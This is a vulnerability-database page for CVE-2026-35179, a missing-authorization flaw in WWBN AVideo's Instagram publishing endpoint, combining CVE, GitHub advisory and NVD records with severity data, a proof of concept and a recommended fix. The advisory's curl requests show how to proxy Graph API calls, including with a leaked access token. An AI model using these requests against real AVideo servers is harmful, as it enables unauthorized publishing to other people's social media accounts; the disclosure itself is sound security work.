Vulnerability-Lookup

CVE-2026-35179 (GCVE-0-2026-35179)

Vulnerability from cvelistv5 – Published: 2026-04-06 19:05 – Updated: 2026-04-07 16:14

Title

WWBN AVideo Unauthenticated Instagram Graph API Proxy via publishInstagram.json.php

Summary

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform's own credentials.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M

References

URL

Tags

https://github.com/WWBN/AVideo/security/advisorie…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35179",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-07T16:14:34.045976Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-07T16:14:54.142Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform\u0027s own credentials."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-06T19:05:49.325Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w"
        }
      ],
      "source": {
        "advisory": "GHSA-x9w5-xccw-5h9w",
        "discovery": "UNKNOWN"
      },
      "title": "WWBN AVideo Unauthenticated Instagram Graph API Proxy via publishInstagram.json.php"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-35179",
    "datePublished": "2026-04-06T19:05:49.325Z",
    "dateReserved": "2026-04-01T17:26:21.133Z",
    "dateUpdated": "2026-04-07T16:14:54.142Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-35179\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-06T20:16:26.080\",\"lastModified\":\"2026-04-07T13:20:11.643\",\"vulnStatus\":\"Undergoing Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform\u0027s own credentials.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\",\"baseScore\":5.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":1.4}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-862\"}]}],\"references\":[{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w\",\"source\":\"security-advisories@github.com\"}]}}",
    "vulnrichment": {
      "containers": "{\"cna\": {\"title\": \"WWBN AVideo Unauthenticated Instagram Graph API Proxy via publishInstagram.json.php\", \"source\": {\"advisory\": \"GHSA-x9w5-xccw-5h9w\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"WWBN\", \"product\": \"AVideo\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c= 26.0\"}]}], \"references\": [{\"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w\", \"name\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform\u0027s own credentials.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862: Missing Authorization\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-04-06T19:05:49.325Z\"}}, \"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-35179\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-07T16:14:34.045976Z\"}}}], \"providerMetadata\": {\"shortName\": \"CISA-ADP\", \"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"dateUpdated\": \"2026-04-07T16:14:51.023Z\"}}]}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-35179\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-06T19:05:49.325Z\", \"dateReserved\": \"2026-04-01T17:26:21.133Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-04-06T19:05:49.325Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-X9W5-XCCW-5H9W

Vulnerability from github – Published: 2026-04-03 23:33 – Updated: 2026-04-06 23:43

Summary

AVideo: Unauthenticated Instagram Graph API Proxy via publishInstagram.json.php

Details

Summary

The SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform's own credentials.

Details

At plugin/SocialMediaPublisher/publishInstagram.json.php:14, the endpoint passes request parameters directly to the Instagram Graph API without any authentication check:

InstagramUploader::publishMediaIfIsReady(
    $_REQUEST['accessToken'],
    $_REQUEST['containerId'],
    $_REQUEST['instagramAccountId']
);

There is no call to User::isLogged(), User::isAdmin(), or any other authorization check before processing the request.

In contrast, sibling endpoints in the same plugin enforce proper authorization: - uploadVideo.json.php requires User::isLogged() - refresh.json.php requires User::isAdmin()

The endpoint was confirmed accessible on a live instance: it returns a Graph API error response, demonstrating that it processes the request and forwards it to Facebook's servers.

Proof of Concept

Send a request to the endpoint without any authentication:

curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \
  -d "accessToken=TEST_TOKEN&containerId=TEST_CONTAINER&instagramAccountId=TEST_ACCOUNT"

The server forwards the request to the Facebook Graph API. With invalid parameters, it returns a Graph API error confirming the endpoint is functional:

{
  "error": {
    "message": "Invalid OAuth access token.",
    "type": "OAuthException",
    "code": 190
  }
}

With a valid access token (e.g., one leaked from AVI-027), an attacker could publish content to the platform's Instagram account:

curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \
  -d "accessToken=LEAKED_ACCESS_TOKEN&containerId=REAL_CONTAINER_ID&instagramAccountId=REAL_ACCOUNT_ID"

Verify that sibling endpoints require authentication:

# Should require login
curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/uploadVideo.json.php"

# Should require admin
curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/refresh.json.php"

Impact

The unauthenticated endpoint allows any attacker to use the AVideo server as a proxy for Instagram/Facebook Graph API calls. When combined with credentials leaked from AVI-027 (unauthenticated access to social media API credentials), an attacker can publish, modify, or delete content on the platform's Instagram account without any authentication to the AVideo instance. The server's IP address is used for the API calls, which could also be used to bypass rate limits or IP-based restrictions on the Graph API.

CWE-862: Missing Authorization
Severity: Medium

Recommended Fix

Add an admin authorization check at the top of plugin/SocialMediaPublisher/publishInstagram.json.php:10, consistent with the sibling refresh.json.php endpoint:

// plugin/SocialMediaPublisher/publishInstagram.json.php:10
if(!User::isAdmin()){
    die(json_encode(['error'=>'Not authorized']));
}

This restricts the endpoint to admin users only, matching the authorization level of refresh.json.php and preventing unauthenticated proxy abuse.

Found by aisafe.io

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T23:33:09Z",
    "nvd_published_at": "2026-04-06T20:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe SocialMediaPublisher plugin exposes a `publishInstagram.json.php` endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via `InstagramUploader::publishMediaIfIsReady()`. This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform\u0027s own credentials.\n\n## Details\n\nAt `plugin/SocialMediaPublisher/publishInstagram.json.php:14`, the endpoint passes request parameters directly to the Instagram Graph API without any authentication check:\n\n```php\nInstagramUploader::publishMediaIfIsReady(\n    $_REQUEST[\u0027accessToken\u0027],\n    $_REQUEST[\u0027containerId\u0027],\n    $_REQUEST[\u0027instagramAccountId\u0027]\n);\n```\n\nThere is no call to `User::isLogged()`, `User::isAdmin()`, or any other authorization check before processing the request.\n\nIn contrast, sibling endpoints in the same plugin enforce proper authorization:\n- `uploadVideo.json.php` requires `User::isLogged()`\n- `refresh.json.php` requires `User::isAdmin()`\n\nThe endpoint was confirmed accessible on a live instance: it returns a Graph API error response, demonstrating that it processes the request and forwards it to Facebook\u0027s servers.\n\n## Proof of Concept\n\n1. Send a request to the endpoint without any authentication:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php\" \\\n  -d \"accessToken=TEST_TOKEN\u0026containerId=TEST_CONTAINER\u0026instagramAccountId=TEST_ACCOUNT\"\n```\n\n2. The server forwards the request to the Facebook Graph API. With invalid parameters, it returns a Graph API error confirming the endpoint is functional:\n\n```json\n{\n  \"error\": {\n    \"message\": \"Invalid OAuth access token.\",\n    \"type\": \"OAuthException\",\n    \"code\": 190\n  }\n}\n```\n\n3. With a valid access token (e.g., one leaked from AVI-027), an attacker could publish content to the platform\u0027s Instagram account:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php\" \\\n  -d \"accessToken=LEAKED_ACCESS_TOKEN\u0026containerId=REAL_CONTAINER_ID\u0026instagramAccountId=REAL_ACCOUNT_ID\"\n```\n\n4. Verify that sibling endpoints require authentication:\n\n```bash\n# Should require login\ncurl -s \"https://your-avideo-instance.com/plugin/SocialMediaPublisher/uploadVideo.json.php\"\n\n# Should require admin\ncurl -s \"https://your-avideo-instance.com/plugin/SocialMediaPublisher/refresh.json.php\"\n```\n\n## Impact\n\nThe unauthenticated endpoint allows any attacker to use the AVideo server as a proxy for Instagram/Facebook Graph API calls. When combined with credentials leaked from AVI-027 (unauthenticated access to social media API credentials), an attacker can publish, modify, or delete content on the platform\u0027s Instagram account without any authentication to the AVideo instance. The server\u0027s IP address is used for the API calls, which could also be used to bypass rate limits or IP-based restrictions on the Graph API.\n\n- **CWE-862**: Missing Authorization\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an admin authorization check at the top of `plugin/SocialMediaPublisher/publishInstagram.json.php:10`, consistent with the sibling `refresh.json.php` endpoint:\n\n```php\n// plugin/SocialMediaPublisher/publishInstagram.json.php:10\nif(!User::isAdmin()){\n    die(json_encode([\u0027error\u0027=\u003e\u0027Not authorized\u0027]));\n}\n```\n\nThis restricts the endpoint to admin users only, matching the authorization level of `refresh.json.php` and preventing unauthenticated proxy abuse.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-x9w5-xccw-5h9w",
  "modified": "2026-04-06T23:43:11Z",
  "published": "2026-04-03T23:33:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35179"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated Instagram Graph API Proxy via publishInstagram.json.php"
}

FKIE_CVE-2026-35179

Vulnerability from fkie_nvd - Published: 2026-04-06 20:16 - Updated: 2026-04-07 13:20

Severity ?

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform\u0027s own credentials."
    }
  ],
  "id": "CVE-2026-35179",
  "lastModified": "2026-04-07T13:20:11.643",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-06T20:16:26.080",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x9w5-xccw-5h9w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-35179 (GCVE-0-2026-35179)

GHSA-X9W5-XCCW-5H9W

Summary

Details

Proof of Concept

Impact

Recommended Fix

FKIE_CVE-2026-35179

Tags

Sightings

Nomenclature